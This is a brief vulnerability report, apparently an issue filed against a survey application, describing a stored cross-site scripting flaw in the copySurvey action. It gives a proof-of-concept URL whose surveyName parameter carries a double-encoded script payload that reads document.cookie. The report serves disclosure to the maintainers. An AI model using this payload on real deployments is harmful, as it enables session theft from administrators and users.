[security vulnerability]stored xss when copy the survey

[cctv0x01]

There is a stored XSS vulnerability which allows remote attackers to inject arbitrary web script or stole admin's or other users cookies when copy the survey

Vulnerability file: /design/my-survey-design!copySurvey.action

PoC: /design/my-survey-design!copySurvey.action?surveyName=A%2520test%25EF%25BC%258Dcopy%2522%252F%253E%253Cscript%253Ealert%28document.cookie%29%253C%252Fscript%253E